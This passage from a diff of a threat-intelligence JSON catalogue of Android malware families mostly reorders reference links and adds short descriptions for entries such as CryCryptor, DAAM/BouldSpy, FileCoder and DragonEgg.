[], "type": [] @@ -615,69 +643,69 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.chrysaor", - "https://citizenlab.ca/2021/10/breaking-news-new-york-times-journalist-ben-hubbard-pegasus/", - "https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html", - "https://citizenlab.ca/2020/12/the-great-ipwn-journalists-hacked-with-suspected-nso-group-imessage-zero-click-exploit/", - "https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-android-technical-analysis.pdf", - "https://security.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html", - "https://thewire.in/tag/pegasus-project", - "https://www.cyjax.com/2021/10/26/mercenary-apts-an-exploration/", - "https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html", - "https://nex.sx/blog/2021/08/03/the-pegasus-project.html", - "https://www.lemonde.fr/projet-pegasus/article/2021/07/18/au-maroc-comme-en-france-des-journalistes-mis-sous-surveillance-avec-le-logiciel-pegasus_6088654_6088648.html", - "https://citizenlab.ca/2022/04/catalangate-extensive-mercenary-spyware-operation-against-catalans-using-pegasus-candiru/", - "https://www.washingtonpost.com/investigations/interactive/2021/jamal-khashoggi-wife-fiancee-cellphone-hack/?itid=co_pegasus_5", - "https://www.bleepingcomputer.com/news/security/google-predator-spyware-infected-android-devices-using-zero-days/", - "https://www.theguardian.com/world/2021/jul/18/revealed-leak-uncovers-global-abuse-of-cyber-surveillance-weapon-nso-group-pegasus", - "https://forbiddenstories.org/pegasus-the-new-global-weapon-for-silencing-journalists/", - "https://thewire.in/rights/sar-geelani-pegasus-spyware-phone-messages", - "https://twitter.com/alexanderjaeger/status/1417447732030189569", - "https://www.vice.com/en/article/xgx5bw/amazon-aws-shuts-down-nso-group-infrastructure", - "https://www.washingtonpost.com/technology/2021/07/18/reactions-pegasus-project-nso/", - "https://www.washingtonpost.com/investigations/2021/07/18/takeaways-nso-pegasus-project/", - "https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/", - "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/", - "https://citizenlab.ca/2021/12/pegasus-vs-predator-dissidents-doubly-infected-iphone-reveals-cytrox-mercenary-spyware/", - "https://www.amnesty.org/en/latest/news/2021/07/the-pegasus-project/", - "https://www.reuters.com/technology/how-saudi-womans-iphone-revealed-hacking-around-world-2022-02-17/", - "https://www.theguardian.com/news/2021/jul/18/revealed-murdered-journalist-number-selected-mexico-nso-client-cecilio-pineda-birto", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://arkadiyt.com/2021/07/25/scanning-your-iphone-for-nso-group-pegasus-malware/", - "https://thewire.in/government/indian-army-bsf-raw-pegasus-spyware-threat", - "https://twitter.com/billmarczak/status/1416801439402262529", - "https://www.washingtonpost.com/technology/2021/07/19/apple-iphone-nso/", - "https://citizenlab.ca/2020/01/stopping-the-press-new-york-times-journalist-targeted-by-saudi-linked-pegasus-spyware-operator/", - "https://media.ccc.de/v/33c3-7901-pegasus_internals", - "https://threatpost.com/nso-pegasus-spyware-bans-apple-accountability/167965/", - "https://citizenlab.ca/2021/08/bahrain-hacks-activists-with-nso-group-zero-click-iphone-exploits/", - "https://cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-3/", - "https://objective-see.com/blog/blog_0x67.html", - "https://www.theguardian.com/world/2021/jul/18/nso-spyware-used-to-target-family-of-jamal-khashoggi-leaked-data-shows-saudis-pegasus", - "https://zetter.substack.com/p/pegasus-spyware-how-it-works-and", - "https://cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-1", - "https://www.washingtonpost.com/investigations/interactive/2021/nso-spyware-pegasus-cellphones/", - "https://irpimedia.irpi.eu/sorveglianze-cy4gate/", - "https://www.trendmicro.com/en_us/research/21/i/analyzing-pegasus-spywares-zero-click-iphone-exploit-forcedentry.html", - "https://cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-2/", - "https://thewire.in/government/project-pegasus-journalists-ministers-activists-phones-spying", - "https://blog.zecops.com/research/the-recent-ios-0-click-cve-2021-30860-sounds-familiar-an-unreleased-write-up-one-year-later/", - "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-appendix-d/", - "https://citizenlab.ca/2022/04/peace-through-pegasus-jordanian-human-rights-defenders-and-journalists-hacked-with-pegasus-spyware/", - "https://forbiddenstories.org/the-pegasus-project-a-worldwide-collaboration-to-counter-a-global-crime/", - "https://lifars.com/2022/01/forensics-analysis-of-the-nso-groups-pegasus-spyware/", "https://thewire.in/media/pegasus-project-spyware-indian-journalists", - "https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html", - "https://forbiddenstories.org/about-the-pegasus-project/", - "https://www.theguardian.com/news/2021/jul/18/viktor-orban-using-nso-spyware-in-assault-on-media-data-suggests", + "https://citizenlab.ca/2021/10/breaking-news-new-york-times-journalist-ben-hubbard-pegasus/", + "https://www.theguardian.com/world/2021/jul/18/nso-spyware-used-to-target-family-of-jamal-khashoggi-leaked-data-shows-saudis-pegasus", + "https://www.washingtonpost.com/investigations/interactive/2021/nso-spyware-pegasus-cellphones/", + "https://www.theguardian.com/news/2021/jul/18/revealed-murdered-journalist-number-selected-mexico-nso-client-cecilio-pineda-birto", + "https://www.washingtonpost.com/investigations/interactive/2021/jamal-khashoggi-wife-fiancee-cellphone-hack/?itid=co_pegasus_5", + "https://objective-see.com/blog/blog_0x67.html", + "https://cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-1", "https://github.com/AmnestyTech/investigations/tree/master/2021-07-18_nso", - "https://www.bleepingcomputer.com/news/security/iphones-running-latest-ios-hacked-to-deploy-nso-group-spyware/", + "https://www.trendmicro.com/en_us/research/21/i/analyzing-pegasus-spywares-zero-click-iphone-exploit-forcedentry.html", + "https://arkadiyt.com/2021/07/25/scanning-your-iphone-for-nso-group-pegasus-malware/", + "https://www.theguardian.com/news/2021/jul/18/viktor-orban-using-nso-spyware-in-assault-on-media-data-suggests", + "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/", + "https://www.washingtonpost.com/technology/2021/07/18/reactions-pegasus-project-nso/", + "https://www.reuters.com/technology/how-saudi-womans-iphone-revealed-hacking-around-world-2022-02-17/", + "https://zetter.substack.com/p/pegasus-spyware-how-it-works-and", + "https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html", "https://citizenlab.ca/2021/07/amnesty-peer-review/", - "https://citizenlab.ca/2018/09/hide-and-seek-tracking-nso-groups-pegasus-spyware-to-operations-in-45-countries/", - "https://citizenlab.ca/2021/11/palestinian-human-rights-defenders-hacked-nso-groups-pegasus-spyware/", + "https://media.ccc.de/v/33c3-7901-pegasus_internals", + "https://forbiddenstories.org/the-pegasus-project-a-worldwide-collaboration-to-counter-a-global-crime/", + "https://threatpost.com/nso-pegasus-spyware-bans-apple-accountability/167965/", + "https://nex.sx/blog/2021/08/03/the-pegasus-project.html", + "https://citizenlab.ca/2021/08/bahrain-hacks-activists-with-nso-group-zero-click-iphone-exploits/", + "https://www.lemonde.fr/projet-pegasus/article/2021/07/18/au-maroc-comme-en-france-des-journalistes-mis-sous-surveillance-avec-le-logiciel-pegasus_6088654_6088648.html", + "https://www.theguardian.com/world/2021/jul/18/revealed-leak-uncovers-global-abuse-of-cyber-surveillance-weapon-nso-group-pegasus", + "https://www.washingtonpost.com/technology/2021/07/19/apple-iphone-nso/", + "https://thewire.in/rights/sar-geelani-pegasus-spyware-phone-messages", + "https://security.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html", + "https://lifars.com/2022/01/forensics-analysis-of-the-nso-groups-pegasus-spyware/", + "https://twitter.com/HackSysTeam/status/1418223814387765258?s=20", + "https://citizenlab.ca/2020/01/stopping-the-press-new-york-times-journalist-targeted-by-saudi-linked-pegasus-spyware-operator/", + "https://irpimedia.irpi.eu/sorveglianze-cy4gate/", + "https://forbiddenstories.org/about-the-pegasus-project/", + "https://twitter.com/alexanderjaeger/status/1417447732030189569", + "https://twitter.com/billmarczak/status/1416801439402262529", "https://www.theguardian.com/news/series/pegasus-project", "https://www.washingtonpost.com/world/2021/07/19/india-nso-pegasus/", + "https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html", + "https://citizenlab.ca/2021/12/pegasus-vs-predator-dissidents-doubly-infected-iphone-reveals-cytrox-mercenary-spyware/", + "https://citizenlab.ca/2022/04/peace-through-pegasus-jordanian-human-rights-defenders-and-journalists-hacked-with-pegasus-spyware/", + "https://blog.zecops.com/research/the-recent-ios-0-click-cve-2021-30860-sounds-familiar-an-unreleased-write-up-one-year-later/", + "https://www.bleepingcomputer.com/news/security/iphones-running-latest-ios-hacked-to-deploy-nso-group-spyware/", + "https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/", + "https://www.vice.com/en/article/xgx5bw/amazon-aws-shuts-down-nso-group-infrastructure", + "https://www.washingtonpost.com/investigations/2021/07/18/takeaways-nso-pegasus-project/", + "https://forbiddenstories.org/pegasus-the-new-global-weapon-for-silencing-journalists/", + "https://citizenlab.ca/2022/04/catalangate-extensive-mercenary-spyware-operation-against-catalans-using-pegasus-candiru/", + "https://citizenlab.ca/2020/12/the-great-ipwn-journalists-hacked-with-suspected-nso-group-imessage-zero-click-exploit/", + "https://www.bleepingcomputer.com/news/security/google-predator-spyware-infected-android-devices-using-zero-days/", + "https://cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-3/", + "https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-android-technical-analysis.pdf", + "https://thewire.in/tag/pegasus-project", "https://www.cybertrends.it/pegasus-lo-spyware-per-smartphone-come-funziona-e-come-ci-si-puo-proteggere/", - "https://twitter.com/HackSysTeam/status/1418223814387765258?s=20" + "https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html", + "https://thewire.in/government/project-pegasus-journalists-ministers-activists-phones-spying", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-appendix-d/", + "https://citizenlab.ca/2018/09/hide-and-seek-tracking-nso-groups-pegasus-spyware-to-operations-in-45-countries/", + "https://citizenlab.ca/2021/11/palestinian-human-rights-defenders-hacked-nso-groups-pegasus-spyware/", + "https://cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-2/", + "https://thewire.in/government/indian-army-bsf-raw-pegasus-spyware-threat", + "https://www.amnesty.org/en/latest/news/2021/07/the-pegasus-project/", + "https://www.cyjax.com/2021/10/26/mercenary-apts-an-exploration/" ], "synonyms": [ "JigglyPuff", @@ -706,9 +734,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.clipper", - "https://news.drweb.com/show?lng=en&i=12739", "https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/", - "https://lukasstefanko.com/2019/02/android-clipper-found-on-google-play.html" + "https://lukasstefanko.com/2019/02/android-clipper-found-on-google-play.html", + "https://news.drweb.com/show?lng=en&i=12739" ], "synonyms": [], "type": [] @@ -762,16 +790,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.coper", - "https://cert.pl/posts/2021/12/aktywacja-aplikacji-iko/", - "https://www.trendmicro.com/en_us/research/22/g/examining-new-dawdropper-banking-dropper-and-daas-on-the-dark-we.html", - "https://www.bleepingcomputer.com/news/security/new-android-banking-malware-remotely-takes-control-of-your-device/", - "https://threatfabric.com/blogs/octo-new-odf-banking-trojan.html", "https://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/", - "https://twitter.com/_icebre4ker_/status/1541875982684094465", + "https://news.drweb.com/show/?p=0&lng=en&i=14259&c=0", + "https://labs.k7computing.com/index.php/play-store-app-serves-coper-via-github/", "https://blog.cyble.com/2022/03/24/coper-banking-trojan/", "https://thehackernews.com/2022/04/new-octo-banking-trojan-spreading-via.html", - "https://news.drweb.com/show/?p=0&lng=en&i=14259&c=0", - "https://resecurity.com/blog/article/in-the-box-mobile-malware-webinjects-marketplace" + "https://www.bleepingcomputer.com/news/security/new-android-banking-malware-remotely-takes-control-of-your-device/", + "https://www.trendmicro.com/en_us/research/22/g/examining-new-dawdropper-banking-dropper-and-daas-on-the-dark-we.html", + "https://threatfabric.com/blogs/octo-new-odf-banking-trojan.html", + "https://resecurity.com/blog/article/in-the-box-mobile-malware-webinjects-marketplace", + "https://twitter.com/_icebre4ker_/status/1541875982684094465", + "https://cert.pl/posts/2021/12/aktywacja-aplikacji-iko/" ], "synonyms": [ "ExobotCompact", @@ -787,8 +816,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.corona_worm", - "https://www.zscaler.com/blogs/research/new-android-app-offers-coronavirus-safety-mask-delivers-sms-trojan", - "https://dissectingmalwa.re/jamba-superdeal-helo-sir-you-want-to-buy-mask-corona-safety-mask-sms-scam.html" + "https://dissectingmalwa.re/jamba-superdeal-helo-sir-you-want-to-buy-mask-corona-safety-mask-sms-scam.html", + "https://www.zscaler.com/blogs/research/new-android-app-offers-coronavirus-safety-mask-delivers-sms-trojan" ], "synonyms": [], "type": [] @@ -810,7 +839,7 @@ "value": "Cpuminer (Android)" }, { - "description": "", + "description": "According to NHS Digital, CryCryptor is distributed via websites that spoof health organisations. At the time of publication these websites have affected the Canadian health service. CryCryptor cannot be obtained from the Google Play store, so devices restricted to only running apps from the store are not affected.\r\n\r\nWhen CryCryptor is run it encrypts common file types and saves a ransom note to every directory where files have been encrypted. Encrypted files have the extension '.enc' appended to the filenames. Additional files are saved containing the salt values used in each encryption and an initialisation vector. These files have the extensions '.enc.salt' and '.enc.iv' respectively.\r\n\r\nWhen files have been encrypted, a notification is displayed directing users to open the ransom note.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.crycryptor", @@ -841,13 +870,16 @@ "value": "CyberAzov" }, { - "description": "", + "description": "According to PCrisk, DAAM is an Android malware utilized to gain unauthorized access to targeted devices since 2021. With the DAAM Android botnet, threat actors can bind harmful code with a genuine application using its APK binding service.\r\n\r\nLookout refers to this malware as BouldSpy and assesses with medium confidence that this Android surveillance tool is used by the Law Enforcement Command of the Islamic Republic of Iran (FARAJA).", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.daam", - "https://blog.cyble.com/2023/04/20/daam-android-botnet-being-distributed-through-trojanized-applications/" + "https://blog.cyble.com/2023/04/20/daam-android-botnet-being-distributed-through-trojanized-applications/", + "https://www.lookout.com/blog/iranian-spyware-bouldspy" + ], + "synonyms": [ + "BouldSpy" ], - "synonyms": [], "type": [] }, "uuid": "37a3b62e-99da-47d7-81fb-78f745427b16", @@ -886,8 +918,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.defensor_id", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.welivesecurity.com/2020/05/22/insidious-android-malware-gives-up-all-malicious-features-but-one-gain-stealth/" + "https://www.welivesecurity.com/2020/05/22/insidious-android-malware-gives-up-all-malicious-features-but-one-gain-stealth/", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf" ], "synonyms": [ "Defensor Digital" @@ -915,9 +947,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.dmsspy", - "https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/", + "https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf", "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/", - "https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf" + "https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/" ], "synonyms": [], "type": [] @@ -964,6 +996,19 @@ "uuid": "bf94eee6-2274-40f4-b181-2b49ce6ef9fb", "value": "Dracarys" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.dragonegg", + "https://www.lookout.com/threat-intelligence/article/wyrmspy-dragonegg-surveillanceware-apt41" + ], + "synonyms": [], + "type": [] + }, + "uuid": "4ef28f14-17f4-4f87-a292-e63b42027c8c", + "value": "DragonEgg" + }, { "description": "", "meta": { @@ -1038,11 +1083,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ermac", + "https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html", "https://twitter.com/ESETresearch/status/1445618031464357888", - "https://blog.cyble.com/2022/05/25/ermac-back-in-action/", "https://www.threatfabric.com/blogs/zombinder-ermac-and-desktop-stealers.html", "https://intel471.com/blog/rmac-2-0-perfecting-the-art-of-account-takeover", - "https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html", + "https://blog.cyble.com/2022/05/25/ermac-back-in-action/", "https://resecurity.com/blog/article/in-the-box-mobile-malware-webinjects-marketplace" ], "synonyms": [], @@ -1056,9 +1101,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.eventbot", - "https://twitter.com/ThreatFabric/status/1240664876558823424", + "https://www.youtube.com/watch?v=qqwOrLR2rgU", "https://www.cybereason.com/blog/eventbot-a-new-mobile-banking-trojan-is-born", - "https://www.youtube.com/watch?v=qqwOrLR2rgU" + "https://twitter.com/ThreatFabric/status/1240664876558823424" ], "synonyms": [], "type": [] @@ -1071,13 +1116,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.exobot", + "https://www.bleepingcomputer.com/news/security/exobot-author-calls-it-quits-and-sells-off-banking-trojan-source-code/", + "https://blog.cyble.com/2022/03/24/coper-banking-trojan/", + "https://securityintelligence.com/ibm-x-force-delves-into-exobots-leaked-source-code/", "https://www.bleepingcomputer.com/news/security/new-android-banking-malware-remotely-takes-control-of-your-device/", "https://threatfabric.com/blogs/octo-new-odf-banking-trojan.html", "https://www.bleepingcomputer.com/news/security/source-code-for-exobot-android-banking-trojan-leaked-online/", - "https://www.bleepingcomputer.com/news/security/new-exo-android-trojan-sold-on-hacking-forums-dark-web/", - "https://www.bleepingcomputer.com/news/security/exobot-author-calls-it-quits-and-sells-off-banking-trojan-source-code/", - "https://blog.cyble.com/2022/03/24/coper-banking-trojan/", - "https://securityintelligence.com/ibm-x-force-delves-into-exobots-leaked-source-code/" + "https://www.bleepingcomputer.com/news/security/new-exo-android-trojan-sold-on-hacking-forums-dark-web/" ], "synonyms": [], "type": [] @@ -1090,9 +1135,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.exodus", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://motherboard.vice.com/en_us/article/eveeq4/prosecutors-investigation-esurv-exodus-malware-on-google-play-store", "https://motherboard.vice.com/en_us/article/43z93g/hackers-hid-android-malware-in-google-play-store-exodus-esurv", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://securitywithoutborders.org/blog/2019/03/29/exodus.html" ], "synonyms": [], @@ -1107,8 +1152,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.facestealer", "https://labs.k7computing.com/index.php/facestealer-the-rise-of-facebook-credential-stealer-malware/", - "https://threatpost.com/facestealer-trojan-google-play-facebook/179015/", - "https://www.trendmicro.com/en_us/research/22/e/fake-mobile-apps-steal-facebook-credentials--crypto-related-keys.html" + "https://www.trendmicro.com/en_us/research/22/e/fake-mobile-apps-steal-facebook-credentials--crypto-related-keys.html", + "https://threatpost.com/facestealer-trojan-google-play-facebook/179015/" ], "synonyms": [], "type": [] @@ -1148,11 +1193,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.fakespy", - "https://www.trendmicro.com/en_us/research/18/k/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang.html", - "https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/", + "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681", "https://www.trendmicro.com/en_us/research/18/f/fakespy-android-information-stealing-malware-targets-japanese-and-korean-speaking-users.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/fakespy-android-information-stealing-malware-targets-japanese-and-korean-speaking-users/", - "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681" + "https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/", + "https://www.trendmicro.com/en_us/research/18/k/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang.html" ], "synonyms": [], "type": [] @@ -1202,7 +1247,7 @@ "value": "FastSpy" }, { - "description": "", + "description": "According to heimdal, A new strain of ransomware emerged on Android mobile devices. It targets those who are running the operating system Android 5.1 and higher. This Android ransomware strain has been dubbed by security researchers FileCoder (Android/Filecoder.c) and it spreads via text messages containing a malicious link.\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.filecoder", @@ -1219,12 +1264,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.finfisher", - "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/", - "https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/", - "https://github.com/linuzifer/FinSpy-Dokumentation", - "https://securelist.com/finspy-unseen-findings/104322/", "https://securelist.com/new-finspy-ios-and-android-implants-revealed-itw/91685/", - "https://raw.githubusercontent.com/DefensiveLabAgency/FinSpy-for-Android/master/20200806_finspy_android_analysis_public_release.pdf" + "https://raw.githubusercontent.com/DefensiveLabAgency/FinSpy-for-Android/master/20200806_finspy_android_analysis_public_release.pdf", + "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/", + "https://securelist.com/finspy-unseen-findings/104322/", + "https://github.com/linuzifer/FinSpy-Dokumentation", + "https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/" ], "synonyms": [], "type": [] @@ -1251,8 +1296,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.flexnet", - "https://securelist.com/mobile-malware-evolution-2019/96280/", - "https://twitter.com/LukasStefanko/status/886849558143279104" + "https://twitter.com/LukasStefanko/status/886849558143279104", + "https://securelist.com/mobile-malware-evolution-2019/96280/" ], "synonyms": [ "gugi" @@ -1267,45 +1312,45 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.flubot", - "https://www.bitsight.com/blog/flubot-malware-persists-most-prevalent-germany-and-spain", - "https://thehackernews.com/2022/01/widespread-flubot-and-teabot-malware.html", - "https://twitter.com/alberto__segura/status/1399249798063087621?s=20", - "https://cryptax.medium.com/android-flubot-preparing-for-a-new-campaign-2f7563fc6c06", - "https://blog.fox-it.com/2022/06/29/flubot-the-evolution-of-a-notorious-android-banking-malware/", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", - "https://twitter.com/alberto__segura/status/1384840011892285440", - "https://securityintelligence.com/posts/story-of-fakechat-malware/", - "https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/", - "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", - "https://www.proofpoint.com/us/blog/threat-insight/flubot-android-malware-spreading-rapidly-through-europe-may-hit-us-soon", - "https://twitter.com/alberto__segura/status/1395675479194095618", - "https://securityblog.switch.ch/2021/06/19/android-flubot-enters-switzerland/", - "https://www.threatfabric.com/blogs/partners-in-crime-medusa-cabassous.html", - "https://mobile.twitter.com/alberto__segura/status/1400396365759500289", - "https://hispasec.com/resources/FedexBanker.pdf", - "https://medium.com/walmartglobaltech/a-look-at-an-android-bot-from-unpacking-to-dga-e331554f9fb9", - "https://www.infinitumit.com.tr/flubot-zararlisi/", - "https://www.bitdefender.com/blog/labs/new-flubot-and-teabot-global-malware-campaigns-discovered", - "https://therecord.media/despite-arrests-in-spain-flubot-operations-explode-across-europe-and-japan/", - "https://news.netcraft.com/archives/2021/08/04/flubot-malware-spreads-to-australia.html", - "https://www.nortonlifelock.com/blogs/research-group/flubot-targets-android-phone-users", - "https://twitter.com/malwrhunterteam/status/1359939300238983172", - "https://www.cert.govt.nz/individuals/news-and-events/parcel-delivery-text-message-infecting-android-phones/", - "https://blog.zimperium.com/flubot-vs-zimperium/", - "https://www.ncsc.admin.ch/22w12-de", "https://www.prodaft.com/m/reports/FluBot_4.pdf", - "https://raw.githubusercontent.com/prodaft/malware-ioc/master/FluBot/FluBot.pdf", - "https://blog.cyble.com/2021/09/09/flubot-variant-masquerading-as-the-default-android-voicemail-app/", + "https://medium.com/walmartglobaltech/a-look-at-an-android-bot-from-unpacking-to-dga-e331554f9fb9", "https://news.netcraft.com/archives/2021/08/17/resurgent-flubot-malware-targets-german-and-polish-banks.html", - "https://twitter.com/alberto__segura/status/1404098461440659459", - "https://www.f5.com/labs/articles/threat-intelligence/flubots-authors-employ-creative-and-sophisticated-techniques-to-achieve-their-goals-in-version-50-and-beyond", - "https://www.telekom.com/en/blog/group/article/flubot-under-the-microscope-636368", - "https://therecord.media/flubot-malware-gang-arrested-in-barcelona/", + "https://twitter.com/alberto__segura/status/1399249798063087621?s=20", "https://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://mobile.twitter.com/alberto__segura/status/1400396365759500289", + "https://www.proofpoint.com/us/blog/threat-insight/flubot-android-malware-spreading-rapidly-through-europe-may-hit-us-soon", + "https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/", + "https://twitter.com/alberto__segura/status/1384840011892285440", + "https://blog.cyble.com/2021/09/09/flubot-variant-masquerading-as-the-default-android-voicemail-app/", + "https://twitter.com/alberto__segura/status/1402615237296148483", + "https://www.cert.govt.nz/individuals/news-and-events/parcel-delivery-text-message-infecting-android-phones/", + "https://securityblog.switch.ch/2021/06/19/android-flubot-enters-switzerland/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://twitter.com/alberto__segura/status/1404098461440659459", + "https://thehackernews.com/2022/01/widespread-flubot-and-teabot-malware.html", + "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", + "https://cryptax.medium.com/android-flubot-preparing-for-a-new-campaign-2f7563fc6c06", + "https://securityintelligence.com/posts/story-of-fakechat-malware/", + "https://twitter.com/alberto__segura/status/1395675479194095618", + "https://www.threatfabric.com/blogs/partners-in-crime-medusa-cabassous.html", + "https://www.infinitumit.com.tr/flubot-zararlisi/", + "https://news.netcraft.com/archives/2021/08/04/flubot-malware-spreads-to-australia.html", + "https://therecord.media/flubot-malware-gang-arrested-in-barcelona/", + "https://hispasec.com/resources/FedexBanker.pdf", + "https://www.nortonlifelock.com/blogs/research-group/flubot-targets-android-phone-users", + "https://www.bitsight.com/blog/flubot-malware-persists-most-prevalent-germany-and-spain", + "https://therecord.media/despite-arrests-in-spain-flubot-operations-explode-across-europe-and-japan/", + "https://www.bitdefender.com/blog/labs/new-flubot-and-teabot-global-malware-campaigns-discovered", + "https://blog.fox-it.com/2022/06/29/flubot-the-evolution-of-a-notorious-android-banking-malware/", + "https://raw.githubusercontent.com/prodaft/malware-ioc/master/FluBot/FluBot.pdf", "https://medium.com/csis-techblog/the-brief-glory-of-cabassous-flubot-a-private-android-banking-botnet-bc2ed7917027", + "https://www.telekom.com/en/blog/group/article/flubot-under-the-microscope-636368", + "https://www.ncsc.admin.ch/22w12-de", "https://www.europol.europa.eu/media-press/newsroom/news/takedown-of-sms-based-flubot-spyware-infecting-android-phones", - "https://twitter.com/alberto__segura/status/1402615237296148483" + "https://twitter.com/malwrhunterteam/status/1359939300238983172", + "https://blog.zimperium.com/flubot-vs-zimperium/", + "https://www.f5.com/labs/articles/threat-intelligence/flubots-authors-employ-creative-and-sophisticated-techniques-to-achieve-their-goals-in-version-50-and-beyond", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf" ], "synonyms": [ "Cabassous", @@ -1317,10 +1362,12 @@ "value": "FluBot" }, { - "description": "According to Check Point, this malware features several malicious Android applications that mimic legitimate applications, most of which have more than 1,000,000 installs. These malicious apps steal the victims’ credentials and Two-Factor Authentication (2FA) codes. FluHorse targets different sectors of Eastern Asian markets and is distributed via emails. In some cases, the emails used in the first stage of the attacks belong to high-profile entities. The malware can remain undetected for months making it a persistent, dangerous, and hard-to-spot threat.", + 